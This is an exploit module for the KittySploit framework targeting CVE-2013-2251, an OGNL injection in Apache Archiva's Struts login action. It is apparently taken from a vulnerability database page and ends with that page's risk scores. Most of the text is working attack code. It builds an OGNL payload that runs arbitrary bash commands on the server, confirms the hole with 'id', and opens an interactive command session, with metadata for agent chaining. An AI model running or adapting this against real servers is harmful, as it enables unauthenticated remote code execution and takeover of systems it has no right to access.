Apache Archiva OGNL RCE (CVE-2013-2251)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Archiva Struts OGNL RCE (CVE-2013-2251) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache Archiva OGNL RCE (CVE-2013-2251)',
'description': (
'Exploits CVE-2013-2251 OGNL injection via redirect: on '
'/security/login.action. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2013-2251'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2013-2251',
],
'tags': ['archiva', 'struts', 'ognl', 'rce', 'unauth', 'cve-2013-2251'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'OGNL redirect injection'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2013_2251_detect'],
},
},
}
base_path = OptString('', 'Archiva base path (e.g. /archiva)', False, advanced=True)
def _bases(self) -> list[str]:
base = str(self.base_path or '').strip().rstrip('/')
if base:
return [base]
return ['', '/archiva']
def _ognl(self, cmd: str) -> str:
safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
return (
'${#cmd=\'' + safe + '\','
'#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'
'\'bash\',\'-c\',#cmd})).start(),'
'#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),'
'#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),'
'#matt=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),'
'#matt.getWriter().println(#e),#matt.getWriter().flush(),'
'#matt.getWriter().close()}'
)
def execute(self, cmd: str) -> str:
bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
for base in bases:
if base is None:
continue
path = f'{base}/security/login.action?redirect:' + quote(self._ognl(cmd), safe='')
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r:
self._hit_base = base
return r.text or ''
return ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2013-2251 confirmed via id output',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'OGNL redirect payload did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
7.9High risk
Vulners AI Score7.9
CVSS 29.3
CVSS 3.19.8
EPSS0.99998
SSVC